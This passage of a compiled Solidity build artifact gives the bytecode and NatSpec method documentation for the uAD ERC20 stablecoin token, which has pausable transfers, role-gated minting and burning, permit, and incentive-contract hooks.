62461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e74657200000000604482015260640161054b565b60055460ff161561088e5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b6108988282611613565b60405181815233906001600160a01b038416907fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca906020015b60405180910390a35050565b60055460ff16156109235760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b61092c816116f7565b60405181815233907f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe479060200160405180910390a250565b6001600160a01b0381166000908152602081905260409020545b919050565b6005546040805163f39e5a4760e01b815290516101009092046001600160a01b0316916391d1485491839163f39e5a4791600480820192602092909190829003018186803b1580156109d457600080fd5b505afa1580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c9190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a4957600080fd5b505afa158015610a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a819190612031565b610acd5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206275726e657200000000604482015260640161054b565b60055460ff1615610b135760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b610b1d8282611704565b816001600160a01b03167f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe4782604051610b5891815260200190565b60405180910390a25050565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b158015610bb557600080fd5b505afa158015610bc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bed9190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610c2a57600080fd5b505afa158015610c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c629190612031565b610cae5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161054b565b6106fc61185f565b60606009805461040f906121ad565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610d5f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161054b565b610d6e33856105638685612196565b5060019392505050565b600061049f33848461155c565b60055460408051633b4d977360e01b815290516101009092046001600160a01b0316916391d14854918391633b4d977391600480820192602092909190829003018186803b158015610dd657600080fd5b505afa158015610dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0e9190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610e4b57600080fd5b505afa158015610e5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e839190612031565b610ecf5760405162461bcd60e51b815260206004820152601c60248201527f446f6c6c61723a206d75737420686176652061646d696e20726f6c6500000000604482015260640161054b565b6001600160a01b038281166000818152600a602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169486169485179055517f88bb9e877881758e827c849b8a0e38421bd5ff916f4ef79ed65aec74cc04a5da9190a35050565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610f8f57600080fd5b505afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc79190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561100457600080fd5b505afa158015611018573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103c9190612031565b6110965760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840161054b565b80516110a9906009906020840190611e59565b5050565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b1580156110fe57600080fd5b505afa158015611112573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111369190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561117357600080fd5b505afa158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab9190612031565b6112055760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840161054b565b80516110a9906008906020840190611e59565b428410156112685760405162461bcd60e51b815260206004820152600f60248201527f446f6c6c61723a20455850495245440000000000000000000000000000000000604482015260640161054b565b6006546001600160a01b038816600090815260076020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b9190876112bb836121e8565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012060405160200161133492919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa15801561139f573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906113d55750886001600160a01b0316816001600160a01b0316145b6114215760405162461bcd60e51b815260206004820152601960248201527f446f6c6c61723a20494e56414c49445f5349474e415455524500000000000000604482015260640161054b565b61142c898989611437565b505050505050505050565b6001600160a01b0383166114995760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054b565b6001600160a01b0382166114fa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6115678383836118da565b61157283838361192b565b505050565b60055460ff166115c95760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015260640161054b565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b0382166116695760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161054b565b61167560008383611bc3565b8060026000828254611687919061217e565b90915550506001600160a01b038216600090815260208190526040812080548392906116b490849061217e565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016108d1565b6117013382611704565b50565b6001600160a01b0382166117645760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161054b565b61177082600083611bc3565b6001600160a01b038216600090815260208190526040902054818110156117e45760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161054b565b6117ee8282612196565b6001600160a01b0384166000908152602081905260408120919091556002805484929061181c908490612196565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161154f565b60055460ff16156118a55760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586115f63390565b60055460ff16156119205760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b611572838383611bce565b6001600160a01b038084166000908152600a60205260409020541680156119bd57604051636e22230d60e01b81526001600160a01b038581166004830152848116602483015233604483015260648201849052821690636e22230d90608401600060405180830381600087803b1580156119a457600080fd5b505af11580156119b8573d6000803e3d6000fd5b505050505b6001600160a01b038084166000908152600a6020526040902054168015611a4f57604051636e22230d60e01b81526001600160a01b038681166004830152858116602483015233604483015260648201859052821690636e22230d90608401600060405180830381600087803b158015611a3657600080fd5b505af1158015611a4a573d6000803e3d6000fd5b505050505b336000818152600a60205260409020546001600160a01b039081169190871614801590611a855750336001600160a01b03861614155b8015611a9957506001600160a01b03811615155b15611b0f57604051636e22230d60e01b81526001600160a01b038781166004830152868116602483015233604483015260648201869052821690636e22230d90608401600060405180830381600087803b158015611af657600080fd5b505af1158015611b0a573d6000803e3d6000fd5b505050505b60008052600a6020527f13da86008ba1c6922daee3e07db95305ef49ebced9f5467a0b8613fcc6b343e3546001600160a01b03168015611bba57604051636e22230d60e01b81526001600160a01b038881166004830152878116602483015233604483015260648201879052821690636e22230d90608401600060405180830381600087803b158015611ba157600080fd5b505af1158015611bb5573d6000803e3d6000fd5b505050505b50505050505050565b611572838383611de0565b6001600160a01b038316611c4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161054b565b6001600160a01b038216611cac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054b565b611cb7838383611bc3565b6001600160a01b03831660009081526020819052604090205481811015611d465760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161054b565b611d508282612196565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611d8690849061217e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611dd291815260200190565b60405180910390a350505050565b60055460ff16156115725760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e7366657220776860448201527f696c652070617573656400000000000000000000000000000000000000000000606482015260840161054b565b828054611e65906121ad565b90600052602060002090601f016020900481019282611e875760008555611ecd565b82601f10611ea057805160ff1916838001178555611ecd565b82800160010185558215611ecd579182015b82811115611ecd578251825591602001919060010190611eb2565b50611ed9929150611edd565b5090565b5b80821115611ed95760008155600101611ede565b80356001600160a01b038116811461097e57600080fd5b600060208284031215611f1a578081fd5b611f2382611ef2565b9392505050565b60008060408385031215611f3c578081fd5b611f4583611ef2565b9150611f5360208401611ef2565b90509250929050565b600080600060608486031215611f70578081fd5b611f7984611ef2565b9250611f8760208501611ef2565b9150604084013590509250925092565b600080600080600080600060e0888a031215611fb1578283fd5b611fba88611ef2565b9650611fc860208901611ef2565b95506040880135945060608801359350608088013560ff81168114611feb578384fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561201a578182fd5b61202383611ef2565b946020939093013593505050565b600060208284031215612042578081fd5b81518015158114611f23578182fd5b600060208284031215612062578081fd5b5051919050565b60006020828403121561207a578081fd5b813567ffffffffffffffff80821115612091578283fd5b818401915084601f8301126120a4578283fd5b8135818111156120b6576120b6612219565b604051601f8201601f19908116603f011681019083821181831017156120de576120de612219565b816040528281528760208487010111156120f6578586fd5b826020860160208301379182016020019490945295945050505050565b600060208284031215612124578081fd5b5035919050565b6000602080835283518082850152825b818110156121575785810183015185820160400152820161213b565b818111156121685783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561219157612191612203565b500190565b6000828210156121a8576121a8612203565b500390565b600181811c908216806121c157607f821691505b602082108114156121e257634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156121fc576121fc612203565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106101ae5760003560e01c806370a08231116100ee578063a9059cbb11610097578063bc701e7511610071578063bc701e7514610378578063c47f0027146103a1578063d505accf146103b4578063dd62ed3e146103c7576101ae565b8063a9059cbb1461033f578063b6232c9914610352578063b84c824614610365576101ae565b80638456cb59116100c85780638456cb591461031c57806395d89b4114610324578063a457c2d71461032c576101ae565b806370a08231146102d657806379cc6790146102e95780637ecebe00146102fc576101ae565b80633644e5151161015b57806340c10f191161013557806340c10f191461027557806342966c6814610288578063481c6a751461029b5780635c975abb146102cb576101ae565b80633644e5151461024f57806339509351146102585780633f4ba83a1461026b576101ae565b806323b872dd1161018c57806323b872dd1461020657806330adf81f14610219578063313ce56714610240576101ae565b806306fdde03146101b3578063095ea7b3146101d157806318160ddd146101f4575b600080fd5b6101bb610400565b6040516101c8919061212b565b60405180910390f35b6101e46101df366004612008565b610492565b60405190151581526020016101c8565b6002545b6040519081526020016101c8565b6101e4610214366004611f5c565b6104a8565b6101f87f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b604051601281526020016101c8565b6101f860065481565b6101e4610266366004612008565b610573565b6102736105aa565b005b610273610283366004612008565b6106fe565b610273610296366004612113565b6108dd565b6005546102b39061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101c8565b60055460ff166101e4565b6101f86102e4366004611f09565b610964565b6102736102f7366004612008565b610983565b6101f861030a366004611f09565b60076020526000908152604090205481565b610273610b64565b6101bb610cb6565b6101e461033a366004612008565b610cc5565b6101e461034d366004612008565b610d78565b610273610360366004611f2a565b610d85565b610273610373366004612069565b610f3e565b6102b3610386366004611f09565b600a602052600090815260409020546001600160a01b031681565b6102736103af366004612069565b6110ad565b6102736103c2366004611f97565b611218565b6101f86103d5366004611f2a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606008805461040f906121ad565b80601f016020809104026020016040519081016040528092919081815260200182805461043b906121ad565b80156104885780601f1061045d57610100808354040283529160200191610488565b820191906000526020600020905b81548152906001019060200180831161046b57829003601f168201915b5050505050905090565b600061049f338484611437565b50600192915050565b60006104b584848461155c565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105545760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61056885336105638685612196565b611437565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161049f91859061056390869061217e565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156105fb57600080fd5b505afa15801561060f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561067057600080fd5b505afa158015610684573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a89190612031565b6106f45760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161054b565b6106fc611577565b565b60055460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156107c457600080fd5b505afa1580156107d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fc9190612031565b6108485760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e74657200000000604482015260640161054b565b60055460ff161561088e5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b6108988282611613565b60405181815233906001600160a01b038416907fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca906020015b60405180910390a35050565b60055460ff16156109235760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b61092c816116f7565b60405181815233907f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe479060200160405180910390a250565b6001600160a01b0381166000908152602081905260409020545b919050565b6005546040805163f39e5a4760e01b815290516101009092046001600160a01b0316916391d1485491839163f39e5a4791600480820192602092909190829003018186803b1580156109d457600080fd5b505afa1580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c9190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a4957600080fd5b505afa158015610a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a819190612031565b610acd5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206275726e657200000000604482015260640161054b565b60055460ff1615610b135760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b610b1d8282611704565b816001600160a01b03167f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe4782604051610b5891815260200190565b60405180910390a25050565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b158015610bb557600080fd5b505afa158015610bc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bed9190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610c2a57600080fd5b505afa158015610c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c629190612031565b610cae5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161054b565b6106fc61185f565b60606009805461040f906121ad565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610d5f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161054b565b610d6e33856105638685612196565b5060019392505050565b600061049f33848461155c565b60055460408051633b4d977360e01b815290516101009092046001600160a01b0316916391d14854918391633b4d977391600480820192602092909190829003018186803b158015610dd657600080fd5b505afa158015610dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0e9190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610e4b57600080fd5b505afa158015610e5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e839190612031565b610ecf5760405162461bcd60e51b815260206004820152601c60248201527f446f6c6c61723a206d75737420686176652061646d696e20726f6c6500000000604482015260640161054b565b6001600160a01b038281166000818152600a602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169486169485179055517f88bb9e877881758e827c849b8a0e38421bd5ff916f4ef79ed65aec74cc04a5da9190a35050565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610f8f57600080fd5b505afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc79190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561100457600080fd5b505afa158015611018573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103c9190612031565b6110965760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840161054b565b80516110a9906009906020840190611e59565b5050565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b1580156110fe57600080fd5b505afa158015611112573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111369190612051565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561117357600080fd5b505afa158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab9190612031565b6112055760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840161054b565b80516110a9906008906020840190611e59565b428410156112685760405162461bcd60e51b815260206004820152600f60248201527f446f6c6c61723a20455850495245440000000000000000000000000000000000604482015260640161054b565b6006546001600160a01b038816600090815260076020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b9190876112bb836121e8565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012060405160200161133492919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa15801561139f573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906113d55750886001600160a01b0316816001600160a01b0316145b6114215760405162461bcd60e51b815260206004820152601960248201527f446f6c6c61723a20494e56414c49445f5349474e415455524500000000000000604482015260640161054b565b61142c898989611437565b505050505050505050565b6001600160a01b0383166114995760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054b565b6001600160a01b0382166114fa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6115678383836118da565b61157283838361192b565b505050565b60055460ff166115c95760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015260640161054b565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b0382166116695760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161054b565b61167560008383611bc3565b8060026000828254611687919061217e565b90915550506001600160a01b038216600090815260208190526040812080548392906116b490849061217e565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016108d1565b6117013382611704565b50565b6001600160a01b0382166117645760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161054b565b61177082600083611bc3565b6001600160a01b038216600090815260208190526040902054818110156117e45760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161054b565b6117ee8282612196565b6001600160a01b0384166000908152602081905260408120919091556002805484929061181c908490612196565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161154f565b60055460ff16156118a55760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586115f63390565b60055460ff16156119205760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161054b565b611572838383611bce565b6001600160a01b038084166000908152600a60205260409020541680156119bd57604051636e22230d60e01b81526001600160a01b038581166004830152848116602483015233604483015260648201849052821690636e22230d90608401600060405180830381600087803b1580156119a457600080fd5b505af11580156119b8573d6000803e3d6000fd5b505050505b6001600160a01b038084166000908152600a6020526040902054168015611a4f57604051636e22230d60e01b81526001600160a01b038681166004830152858116602483015233604483015260648201859052821690636e22230d90608401600060405180830381600087803b158015611a3657600080fd5b505af1158015611a4a573d6000803e3d6000fd5b505050505b336000818152600a60205260409020546001600160a01b039081169190871614801590611a855750336001600160a01b03861614155b8015611a9957506001600160a01b03811615155b15611b0f57604051636e22230d60e01b81526001600160a01b038781166004830152868116602483015233604483015260648201869052821690636e22230d90608401600060405180830381600087803b158015611af657600080fd5b505af1158015611b0a573d6000803e3d6000fd5b505050505b60008052600a6020527f13da86008ba1c6922daee3e07db95305ef49ebced9f5467a0b8613fcc6b343e3546001600160a01b03168015611bba57604051636e22230d60e01b81526001600160a01b038881166004830152878116602483015233604483015260648201879052821690636e22230d90608401600060405180830381600087803b158015611ba157600080fd5b505af1158015611bb5573d6000803e3d6000fd5b505050505b50505050505050565b611572838383611de0565b6001600160a01b038316611c4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161054b565b6001600160a01b038216611cac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054b565b611cb7838383611bc3565b6001600160a01b03831660009081526020819052604090205481811015611d465760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161054b565b611d508282612196565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611d8690849061217e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611dd291815260200190565b60405180910390a350505050565b60055460ff16156115725760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e7366657220776860448201527f696c652070617573656400000000000000000000000000000000000000000000606482015260840161054b565b828054611e65906121ad565b90600052602060002090601f016020900481019282611e875760008555611ecd565b82601f10611ea057805160ff1916838001178555611ecd565b82800160010185558215611ecd579182015b82811115611ecd578251825591602001919060010190611eb2565b50611ed9929150611edd565b5090565b5b80821115611ed95760008155600101611ede565b80356001600160a01b038116811461097e57600080fd5b600060208284031215611f1a578081fd5b611f2382611ef2565b9392505050565b60008060408385031215611f3c578081fd5b611f4583611ef2565b9150611f5360208401611ef2565b90509250929050565b600080600060608486031215611f70578081fd5b611f7984611ef2565b9250611f8760208501611ef2565b9150604084013590509250925092565b600080600080600080600060e0888a031215611fb1578283fd5b611fba88611ef2565b9650611fc860208901611ef2565b95506040880135945060608801359350608088013560ff81168114611feb578384fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561201a578182fd5b61202383611ef2565b946020939093013593505050565b600060208284031215612042578081fd5b81518015158114611f23578182fd5b600060208284031215612062578081fd5b5051919050565b60006020828403121561207a578081fd5b813567ffffffffffffffff80821115612091578283fd5b818401915084601f8301126120a4578283fd5b8135818111156120b6576120b6612219565b604051601f8201601f19908116603f011681019083821181831017156120de576120de612219565b816040528281528760208487010111156120f6578586fd5b826020860160208301379182016020019490945295945050505050565b600060208284031215612124578081fd5b5035919050565b6000602080835283518082850152825b818110156121575785810183015185820160400152820161213b565b818111156121685783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561219157612191612203565b500190565b6000828210156121a8576121a8612203565b500390565b600181811c908216806121c157607f821691505b602082108114156121e257634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156121fc576121fc612203565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "allowance(address,address)": { - "details": "See {IERC20-allowance}." - }, - "approve(address,uint256)": { - "details": "See {IERC20-approve}. Requirements: - `spender` cannot be the zero address." - }, - "balanceOf(address)": { - "details": "See {IERC20-balanceOf}." - }, - "burn(uint256)": { - "params": { - "amount": "the amount to burn" - } - }, - "burnFrom(address,uint256)": { - "params": { - "account": "the account to burn from", - "amount": "the amount to burn" - } - }, - "decimals()": { - "details": "Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}." - }, - "decreaseAllowance(address,uint256)": { - "details": "Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`." - }, - "increaseAllowance(address,uint256)": { - "details": "Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address." - }, - "name()": { - "details": "Returns the name of the token." - }, - "paused()": { - "details": "Returns true if the contract is paused, and false otherwise." - }, - "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)": { - "params": { - "deadline": "the deadline after which the approval is no longer valid", - "owner": "the uAD holder", - "spender": "the approved operator", - "value": "the amount approved" - } - }, - "setIncentiveContract(address,address)": { - "params": { - "account": "the account to incentivize", - "incentive": "the associated incentive contract" - } - }, - "setName(string)": { - "params": { - "newName": "new token name" - } - }, - "setSymbol(string)": { - "params": { - "newSymbol": "new token symbol" - } - }, - "symbol()": { - "details": "Returns the symbol of the token, usually a shorter version of the name." - }, - "totalSupply()": { - "details": "See {IERC20-totalSupply}." - }, - "transfer(address,uint256)": { - "details": "See {IERC20-transfer}. Requirements: - `recipient` cannot be the zero address. - the caller must have a balance of at least `amount`." - }, - "transferFrom(address,address,uint256)": { - "details": "See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`." - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "burn(uint256)": { - "notice": "burn UAD tokens from caller" - }, - "burnFrom(address,uint256)": { - "notice": "burn uAD tokens 